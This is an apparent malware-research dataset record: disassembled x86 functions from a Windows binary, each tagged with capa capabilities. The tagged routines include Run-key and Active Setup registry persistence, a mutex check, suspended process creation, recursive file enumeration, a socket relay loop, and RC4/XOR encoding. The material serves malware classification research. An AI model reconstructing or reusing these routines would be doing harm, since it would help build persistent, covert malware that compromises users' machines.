joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a5ea
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x36c
mov dword [esp + 4], 0x40
lea eax, [ebp - 0x2dc]
mov dword [esp], eax
call fcn.0040a179
mov dword [esp + 4], 0x40
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call fcn.0040a110
mov dword [esp + 4], 0x40
lea eax, [ebp - 0x29c]
mov dword [esp], eax
call fcn.0040a52d
lea eax, [ebp - 0x2f8]
mov dword [esp], eax
call fcn.0040a558
mov dword [esp + 4], 0x204
lea ebx, [ebp - 0x21c]
mov dword [esp], ebx
call fcn.00404f9a
test al, al
jne 0x40a678
mov dword [esp + 8], 0x204
mov dword [esp + 4], str.Unknown
mov dword [esp], ebx
call fcn.00409768
mov dword [ebp - 0x2fc], 0
mov ebx, dword [0x410694]
mov dword [esp], 0x40
call fcn.0040a93c
mov byte [ebp - 0x309], al
call fcn.00405b27
mov dword [ebp - 0x310], eax
call fcn.0040afae
mov edi, eax
mov dword [esp], str.WINDIR
call sub.msvcrt.dll_getenv
mov esi, eax
mov dword [esp], str.PATH
call sub.msvcrt.dll_getenv
mov dword [esp + 0x54], ebx
mov dword [esp + 0x50], 0x4102c8
movzx ebx, byte [ebp - 0x309]
mov dword [esp + 0x4c], ebx
lea ecx, [ebp - 0x21c]
mov dword [esp + 0x48], ecx
mov edx, dword [ebp - 0x310]
mov dword [esp + 0x44], edx
mov dword [esp + 0x40], 0x410440
mov dword [esp + 0x3c], edi
mov dword [esp + 0x38], 0x410464
mov dword [esp + 0x34], 0x410564
mov dword [esp + 0x30], esi
mov dword [esp + 0x2c], eax
mov eax, dword [ebp - 0x2e8]
mov edx, dword [ebp - 0x2e4]
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], edx
mov eax, dword [ebp - 0x2f0]
mov edx, dword [ebp - 0x2ec]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], edx
mov eax, dword [ebp - 0x2f8]
mov edx, dword [ebp - 0x2f4]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], edx
lea eax, [ebp - 0x25c]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x2dc]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x29c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_a_s_a_s_a_I64u_a_I64u_a_I64u_a_s_a_s_a_s_a_s_a_d_a_s_a_d_a_s_a_d_a_s_a_d_a
lea ebx, [ebp - 0x2fc]
mov dword [esp], ebx
call fcn.00409983
cmp eax, 0xffffffff
je 0x40a7b5
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2fc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x24
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00403ace
mov dword [esp], ebx
call fcn.00405186
jmp 0x40a7d8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x25
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00403ace
add esp, 0x36c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40a7e4
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x9c
mov ebx, dword [ebp + 0xc]
mov dword [esp], ebx
call fcn.0040486b
test al, al
je 0x40a8b8
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea esi, [ebp - 0x5c]
mov dword [esp], esi
call fcn.00409bfc
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea edi, [ebp - 0x6c]
mov dword [esp], edi
call fcn.00409bfc
mov dword [esp + 0x24], edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], 0
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
test eax, eax
je 0x40a8b8
call fcn.0040ab8a
lea eax, [ebp + 8]
mov dword [esp], eax
call fcn.00403c80
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call sub.KERNEL32.dll_ResumeThread
push edx
dec eax
jne 0x40a8b3
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
call fcn.0040ab49
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 8
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00403ace
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40ab49
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 8], 0x41040c
mov dword [esp + 4], 1
mov dword [esp], 0
call sub.KERNEL32.dll_CreateMutexA
sub esp, 0xc
mov dword [0x410664], eax
mov dl, 1
test eax, eax
je 0x40ab86
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
setne dl
mov al, dl
leave
ret
Function at 0x40afc2
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x3a0
mov esi, dword [ebp + 8]
mov dword [esp + 8], 0x40
mov dword [esp + 4], 0
mov dword [esp], esi
call fcn.00409bfc
mov dword [esp + 4], 0x204
lea ebx, [ebp - 0x20c]
mov dword [esp], ebx
call fcn.00404fec
xor edx, edx
test al, al
je 0x40b151
mov dword [esp + 0xc], ebx
mov dword [esp + 8], str._s.Identifier
mov dword [esp + 4], 0x104
lea ebx, [ebp - 0x310]
mov dword [esp], ebx
call fcn.004099d7
mov dword [esp], ebx
call fcn.0040486b
test al, al
je 0x40b040
mov dword [esp + 4], 0x4111c3
jmp 0x40b048
mov dword [esp + 4], 0x4111c7
mov dword [esp], ebx
call sub.msvcrt.dll_fopen
mov ebx, eax
test eax, eax
jne 0x40b08e
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0x390]
mov dword [esp], eax
call fcn.0040538d
mov dword [esp + 8], 0x410418
mov dword [esp + 4], str._Rand_
mov dword [esp], 0
call fcn.00409804
test eax, eax
jns 0x40b0b5
jmp 0x40b0ca
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov dword [esp + 4], 1
mov dword [esp], esi
call sub.msvcrt.dll_fread
cmp eax, 0x40
je 0x40b13f
jmp 0x40b056
mov dword [esp + 4], 6
add eax, 0x410418
mov dword [esp], eax
call fcn.0040d561
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0x410418
mov dword [esp], esi
call fcn.00409768
mov dword [esp + 8], pe_nt_image_headers32
lea eax, [ebp - 0x390]
mov dword [esp + 4], eax
lea eax, [esi + 0x20]
mov dword [esp], eax
call fcn.00409768
test ebx, ebx
je 0x40b14f
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp], ebx
call fcn.004051f2
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], 1
mov dword [esp], esi
call sub.msvcrt.dll_fwrite
test ebx, ebx
je 0x40b14f
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov dl, 1
jmp 0x40b151
xor edx, edx
mov al, dl
add esp, 0x3a0
pop ebx
pop esi
pop ebp
ret
Function at 0x40b15d
Capabilities:
Persist via active setup registry key
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x820
mov dword [esp], 0x4157b4
call fcn.0040afc2
mov dword [esp + 4], 0x204
lea ebx, [ebp - 0x818]
mov dword [esp], ebx
call fcn.00404f9a
test al, al
je 0x40b3e1
mov dword [esp + 8], 0x204
lea esi, [ebp - 0x614]
mov dword [esp + 4], esi
mov dword [esp], 0x410388
call fcn.00409f34
mov dword [esp], 1
call fcn.0040a93c
test al, al
je 0x40b272
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00409b1f
test eax, eax
je 0x40b272
mov dword [esp], esi
call fcn.00404e61
test al, al
je 0x40b272
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.004048b4
test al, al
je 0x40b272
mov dword [esp], 2
call fcn.0040a93c
test al, al
lea eax, [ebp - 0x20c]
je 0x40b22c
mov dword [esp + 0xc], ebx
mov dword [esp + 8], str._m__s
mov dword [esp + 4], 0x204
mov dword [esp], eax
call fcn.004099d7
jmp 0x40b244
mov dword [esp + 8], 0x204
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00409bfc
lea ebx, [ebp - 0x614]
mov dword [esp], ebx
call fcn.0040486b
test al, al
je 0x40b272
mov dword [esp + 8], 1
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.004047f5
jmp 0x40b2a0
mov dword [esp], 2
call fcn.0040a93c
test al, al
je 0x40b287
call fcn.0040a959
call fcn.0040ab49
test al, al
jne 0x40b2ac
mov dword [esp], 0x20
call fcn.0040a93c
test al, al
je 0x40b2ac
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
mov dword [esp], 8
call fcn.0040a93c
test al, al
je 0x40b2e2
lea eax, [ebp - 0x818]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x410374
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
mov dword [esp], 0x80000001
call fcn.0040e310
mov dword [esp], 0x10
call fcn.0040a93c
test al, al
je 0x40b35c
mov dword [esp + 0xc], 0x41034c
mov dword [esp + 8], str.SOFTWAREMicrosoftActive_SetupInstalled_Components_s
mov dword [esp + 4], 0x204
lea ebx, [ebp - 0x410]
mov dword [esp], ebx
call fcn.004099d7
lea eax, [ebp - 0x818]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x41120f
mov dword [esp + 4], 0x204
lea esi, [ebp - 0x20c]
mov dword [esp], esi
call fcn.004099d7
mov dword [esp + 0xc], esi
mov dword [esp + 8], str.StubPath
mov dword [esp + 4], ebx
mov dword [esp], 0x80000002
call fcn.0040e310
mov dword [esp], 4
call fcn.0040a93c
test al, al
je 0x40b387
mov dword [esp + 4], 0x4111c3
lea eax, [ebp - 0x818]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [0x41529c], eax
mov dword [esp], 0x40
call fcn.0040a93c
test al, al
je 0x40b3e1
mov dword [esp + 8], 0x204
lea ebx, [ebp - 0x20c]
mov dword [esp + 4], ebx
mov dword [esp], 0x4102c8
call fcn.00409f34
mov dword [esp + 8], 0x81
mov dword [esp + 4], ebx
mov dword [esp], 0x4102c8
call fcn.00409768
mov dword [esp + 4], 0
mov dword [esp], 0x40dcfd
call fcn.0040514c
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x40b3e8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x324
mov dword [esp + 4], 0x204
lea ebx, [ebp - 0x20c]
mov dword [esp], ebx
call fcn.00404fec
test al, al
je 0x40b4a7
mov dword [esp + 0xc], ebx
mov dword [esp + 8], str._s.Identifier
mov dword [esp + 4], 0x104
lea ebx, [ebp - 0x310]
mov dword [esp], ebx
call fcn.004099d7
mov dword [esp + 4], 0x4111c7
mov dword [esp], ebx
call sub.msvcrt.dll_fopen
mov ebx, eax
test eax, eax
je 0x40b4a7
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
mov dword [esp], 0x4157b4
call fcn.00409bfc
mov dword [esp + 8], 0x20
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0x4157b4
call fcn.00409768
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], 1
mov dword [esp], 0x4157b4
call sub.msvcrt.dll_fwrite
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
add esp, 0x324
pop ebx
pop ebp
ret
Function at 0x40b547
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x58c
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
mov dl, byte [ebp + 0x14]
mov byte [ebp - 0x56c], dl
mov dword [ebp - 0x564], 0
mov dword [esp], 0x8003
call sub.KERNEL32.dll_SetErrorMode
push esi
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x411220
mov dword [esp + 4], 0x204
lea esi, [ebp - 0x420]
mov dword [esp], esi
call fcn.004099d7
inc eax
je 0x40b78b
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.KERNEL32.dll_FindFirstFileA
push ecx
push ecx
mov dword [ebp - 0x570], eax
inc eax
je 0x40b78b
lea esi, [ebp - 0x534]
movzx edx, byte [ebp - 0x56c]
mov dword [ebp - 0x56c], edx
mov dword [esp + 4], 0x411224
mov dword [esp], esi
call fcn.00409b1f
test eax, eax
je 0x40b748
mov dword [esp + 4], 0x411226
mov dword [esp], esi
call fcn.00409b1f
test eax, eax
je 0x40b748
mov eax, dword [ebp - 0x560]
test al, 0x10
je 0x40b6ce
mov dword [esp + 0x10], esi
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str._d:_s_s_
lea ecx, [ebp - 0x564]
mov dword [esp], ecx
mov dword [ebp - 0x574], ecx
call fcn.00409983
mov edx, eax
cmp eax, 0xffffffff
mov ecx, dword [ebp - 0x574]
je 0x40b67d
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov eax, dword [ebx]
mov dword [esp + 4], eax
mov dword [esp], edi
mov dword [ebp - 0x574], edx
call fcn.00409cdd
mov dword [edi], eax
mov edx, dword [ebp - 0x574]
add dword [ebx], edx
mov dword [esp + 0x10], esi
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], str._s_s_
mov dword [esp + 4], 0x204
lea edx, [ebp - 0x21c]
mov dword [esp], edx
mov dword [ebp - 0x574], edx
call fcn.004099d7
mov eax, dword [ebp - 0x56c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov edx, dword [ebp - 0x574]
mov dword [esp], edx
call fcn.0040b547
jmp 0x40b748
mov dword [esp + 0x18], esi
mov edx, dword [ebp + 8]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x540]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x544]
mov dword [esp + 0x10], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str._d:_I64u:_s_s_
lea ecx, [ebp - 0x564]
mov dword [esp], ecx
mov dword [ebp - 0x574], ecx
call fcn.00409983
mov edx, eax
cmp eax, 0xffffffff
mov ecx, dword [ebp - 0x574]
je 0x40b748
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov eax, dword [ebx]
mov dword [esp + 4], eax
mov dword [esp], edi
mov dword [ebp - 0x574], edx
call fcn.00409cdd
mov dword [edi], eax
mov edx, dword [ebp - 0x574]
add dword [ebx], edx
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x570]
mov dword [esp], eax
call sub.KERNEL32.dll_FindNextFileA
push edx
push edx
test eax, eax
je 0x40b77c
mov edx, dword [ebp - 0x56c]
mov dword [esp], edx
call fcn.0040b4ca
test al, al
jne 0x40b5d9
mov eax, dword [ebp - 0x570]
mov dword [esp], eax
call sub.KERNEL32.dll_FindClose
push eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40bcfd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov ebx, dword [ebp + 0xc]
mov al, byte [ebx]
mov byte [ebp - 0x19], al
movzx edi, al
mov dword [esp], edi
call fcn.0040b4ca
test al, al
je 0x40bd51
mov esi, dword [ebp + 0x10]
dec esi
mov eax, dword [edi*4 + 0x4152a0]
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
mov dword [esp + 4], 1
inc ebx
mov dword [esp], ebx
call sub.msvcrt.dll_fwrite
cmp eax, esi
je 0x40bd73
movzx eax, byte [ebp - 0x19]
mov dword [esp], eax
call fcn.0040b4e6
mov dword [esp + 0xc], 1
lea eax, [ebp - 0x19]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x17
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00403ace
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40be75
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x1c], 0
lea esi, [ebp - 0x1c]
mov dword [esp + 4], esi
mov dword [esp], 0x40bd7c
call sub.USER32.dll_EnumWindows
push ecx
push ecx
mov edx, dword [ebp - 0x1c]
test edx, edx
je 0x40bed2
xor eax, eax
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], 0x2b
mov dword [esp], ebx
call fcn.00403ace
mov dword [esp], esi
call fcn.00405186
jmp 0x40bef2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x2b
mov dword [esp], ebx
call fcn.00403ace
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40c034
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x14c
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [esp], 0x1000
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x120], eax
test eax, eax
je 0x40c1d6
mov eax, esi
cmp esi, ebx
jge 0x40c068
mov eax, ebx
inc eax
mov dword [ebp - 0x12c], eax
lea edi, [ebp - 0x11c]
mov dword [ebp - 0x118], esi
mov dword [ebp - 0x11c], 1
cmp esi, ebx
jne 0x40c1c1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], edi
mov eax, dword [ebp - 0x12c]
mov dword [esp], eax
call sub.WS2_32.dll_select
sub esp, 0x14
test eax, eax
jg 0x40c0d1
lea eax, [ebp - 0x120]
mov dword [esp], eax
call fcn.00405186
jmp 0x40c1d6
mov dword [esp + 4], edi
mov dword [esp], esi
call sub.WS2_32.dll___WSAFDIsSet
push ecx
push ecx
test eax, eax
jne 0x40c0f7
mov dword [esp + 4], edi
mov dword [esp], ebx
call sub.WS2_32.dll___WSAFDIsSet
push edx
push edx
test eax, eax
je 0x40c075
jmp 0x40c158
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
mov eax, dword [ebp - 0x120]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.WS2_32.dll_recv
sub esp, 0x10
mov edx, eax
test eax, eax
jle 0x40c0be
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x120]
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [ebp - 0x130], edx
call sub.WS2_32.dll_send
sub esp, 0x10
mov edx, dword [ebp - 0x130]
cmp eax, edx
je 0x40c0e3
jmp 0x40c0be
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
mov eax, dword [ebp - 0x120]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.WS2_32.dll_recv
sub esp, 0x10
mov edx, eax
test eax, eax
jle 0x40c0be
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x120]
mov dword [esp + 4], eax
mov dword [esp], esi
mov dword [ebp - 0x130], edx
call sub.WS2_32.dll_send
sub esp, 0x10
mov edx, dword [ebp - 0x130]
cmp eax, edx
je 0x40c075
jmp 0x40c0be
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x11c], 2
jmp 0x40c08d
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40c1de
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov byte [ebp - 0xc], al
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
lea eax, [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
dec eax
sete al
leave
ret
Function at 0x40c8ef
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
push edx
mov eax, dword [ebp + 0xc]
shl eax, 2
mov dword [ebp - 0x10], eax
xor eax, eax
mov edx, eax
and edx, 3
mov edi, eax
sar edi, 2
lea ecx, [edx*8]
lea esi, [edi + edx*4]
mov edx, 0xff
shl edx, cl
mov ebx, dword [ebp - 0x10]
lea edi, [edi + ebx + 4]
mov ebx, dword [ebp + 8]
and edx, dword [ebx + edi*4 + 8]
shr edx, cl
xor byte [ebx + esi], dl
inc eax
cmp eax, 0x10
jne 0x40c901
pop eax
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40cc55
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov al, 1
xor ebx, ebx
movzx edx, al
mov byte [edx + 0x4159f4], bl
mov byte [ebx + 0x415af4], al
mov dword [esp + 4], 3
mov dword [esp], edx
call fcn.0040c564
inc ebx
cmp ebx, 0xff
jne 0x40cc62
xor edx, edx
xor ecx, ecx
jmp 0x40cca4
movzx eax, byte [edx + 0x4159f4]
mov ecx, 0xff
sub ecx, eax
mov cl, byte [ecx + 0x415af4]
mov byte [edx + 0x4157f4], 0
mov byte [ebp - 0xd], 0
xor eax, eax
movzx edi, cl
lea ecx, [eax + 4]
mov dword [ebp - 0x20], ecx
lea esi, [eax + 5]
lea ecx, [eax + 6]
mov dword [ebp - 0x18], ecx
lea ecx, [eax + 7]
mov dword [ebp - 0x1c], ecx
mov ebx, edi
xor ebx, 0x63
mov cl, al
sar ebx, cl
mov dword [ebp - 0x14], ebx
and dword [ebp - 0x20], 7
mov ebx, edi
mov cl, byte [ebp - 0x20]
sar ebx, cl
mov ecx, dword [ebp - 0x14]
xor ebx, ecx
mov dword [ebp - 0x20], ebx
and esi, 7
mov ebx, edi
mov ecx, esi
sar ebx, cl
mov esi, dword [ebp - 0x20]
xor esi, ebx
and dword [ebp - 0x18], 7
mov ebx, edi
mov cl, byte [ebp - 0x18]
sar ebx, cl
xor ebx, esi
and dword [ebp - 0x1c], 7
mov esi, edi
mov cl, byte [ebp - 0x1c]
sar esi, cl
xor esi, ebx
and esi, 1
mov cl, al
shl esi, cl
mov ebx, esi
or byte [ebp - 0xd], bl
inc eax
cmp eax, 8
jne 0x40ccb4
movzx eax, byte [ebp - 0xd]
mov byte [edx + 0x4157f4], al
mov byte [eax + 0x4158f4], dl
inc edx
cmp edx, 0x100
jne 0x40cc90
mov byte [0x4157f5], 0x7c
mov byte [0x415970], 1
mov byte [0x415957], 0
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40d024
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 8
mov ecx, dword [ebp + 8]
mov dword [ecx], 0
mov dword [ecx + 4], 0
xor eax, eax
mov byte [ecx + eax + 8], al
inc eax
cmp eax, 0x100
jne 0x40d03f
mov ebx, ecx
lea edi, [ecx + 0x100]
mov dword [ebp - 0x14], edi
xor edx, edx
xor esi, esi
mov al, byte [ebx + 8]
mov byte [ebp - 0xe], al
mov edi, dword [ebp + 0xc]
add al, byte [edi + edx]
add esi, eax
and esi, 0xff
mov al, byte [ecx + esi + 8]
mov byte [ebx + 8], al
mov al, byte [ebp - 0xe]
mov byte [ecx + esi + 8], al
lea eax, [edx + 1]
cdq
idiv dword [ebp + 0x10]
inc ebx
cmp ebx, dword [ebp - 0x14]
jne 0x40d05a
pop eax
pop edx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40d090
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x100
mov esi, dword [ebp + 8]
mov edx, dword [esi]
mov ecx, dword [esi + 4]
xor eax, eax
mov bl, byte [esi + eax + 8]
mov byte [ebp + eax - 0x10c], bl
inc eax
cmp eax, 0x100
jne 0x40d0a6
xor ax, ax
jmp 0x40d102
inc edx
and edx, 0xff
movzx esi, byte [ebp + edx - 0x10c]
add ecx, esi
movzx ecx, cl
movzx edi, byte [ebp + ecx - 0x10c]
mov ebx, edi
mov byte [ebp + edx - 0x10c], bl
mov ebx, esi
mov byte [ebp + ecx - 0x10c], bl
add esi, edi
and esi, 0xff
mov bl, byte [ebp + esi - 0x10c]
mov esi, dword [ebp + 0xc]
xor byte [esi + eax], bl
inc eax
cmp eax, dword [ebp + 0x10]
jl 0x40d0be
add esp, 0x100
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40d19b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x20
mov ebx, dword [ebp + 8]
xor eax, eax
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
xor eax, eax
jmp 0x40d1cc
movzx esi, byte [ebx + eax]
mov edi, esi
sar edi, 4
shl esi, 4
mov edx, edi
or edx, esi
mov byte [ebp + eax - 0x2c], dl
inc eax
cmp eax, ecx
jl 0x40d1b7
mov eax, ecx
jmp 0x40d1ec
movzx esi, al
mov edi, esi
sar edi, 5
lea edx, [esi*8]
or edx, edi
and edx, eax
mov byte [ebp + eax - 0x2c], dl
inc eax
cmp eax, 0x1f
jle 0x40d1d4
mov eax, ecx
sar eax, 2
mov dl, cl
xor dl, byte [ebp + eax - 0x2c]
xor eax, eax
mov esi, dword [ebp + 0xc]
mov bl, byte [esi + eax]
xor bl, byte [ebp + eax - 0x2c]
xor ebx, edx
mov edx, dword [ebp + 0x10]
mov byte [edx + eax], bl
lea edx, [ebx*4]
xor dl, byte [esi + eax]
not edx
movzx edi, bl
lea esi, [edi*8]
sar edi, 5
or esi, edi
lea edi, [eax + ecx]
xor edi, eax
or esi, edi
mov ebx, esi
mov edi, dword [ebp + 0x10]
mov byte [edi + eax], bl
inc eax
cmp eax, 0x20
jne 0x40d1fe
add esp, 0x20
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40d5ee
Capabilities:
Write file on windows

Disassembly:
cmp dword [0x410694], 0
jne 0x40d7a0
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x50
mov esi, eax
mov ebx, edx
lea eax, [ebp - 0x18]
mov dword [esp], eax
mov byte [ebp - 0x2c], cl
call sub.KERNEL32.dll_GetLocalTime
push ecx
movzx eax, word [ebp - 0x12]
cmp dword [0x4156a0], eax
mov cl, byte [ebp - 0x2c]
je 0x40d685
test cl, cl
jne 0x40d689
mov dword [0x4156a0], eax
movzx edx, word [ebp - 0x18]
mov dword [esp + 0x18], edx
movzx edx, word [ebp - 0x16]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x4102c8
mov dword [esp + 8], str._s_.2d__.2d__.4d
mov dword [esp + 4], 0x104
mov dword [esp], 0x4156a4
call fcn.004099d7
mov eax, dword [0x410698]
cmp eax, 0xffffffff
je 0x40d679
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
push edx
mov dword [0x410698], 0xffffffff
jmp 0x40d6bc
test cl, cl
je 0x40d6bc
mov eax, dword [0x410698]
cmp eax, 0xffffffff
je 0x40d69c
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
push eax
mov dword [esp], 0x4156a4
call fcn.00404831
mov dword [0x410698], 0xffffffff
mov dword [0x41569c], 0
cmp dword [0x410698], 0xffffffff
jne 0x40d767
mov dword [0x41569c], 0
mov dword [esp], 0x4102c8
call fcn.00404891
test al, al
jne 0x40d6ef
mov dword [esp], 0x4102c8
call fcn.00404e61
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x40000000
mov dword [esp], 0x4156a4
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov dword [0x410698], eax
cmp eax, 0xffffffff
jne 0x40d744
mov dword [0x410694], 1
jmp 0x40d7a4
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_SetFilePointer
sub esp, 0x10
test ebx, ebx
jle 0x40d7a4
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.0040d5d0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov eax, dword [0x410698]
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
jmp 0x40d7a6
or eax, 0xffffffff
ret
xor eax, eax
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret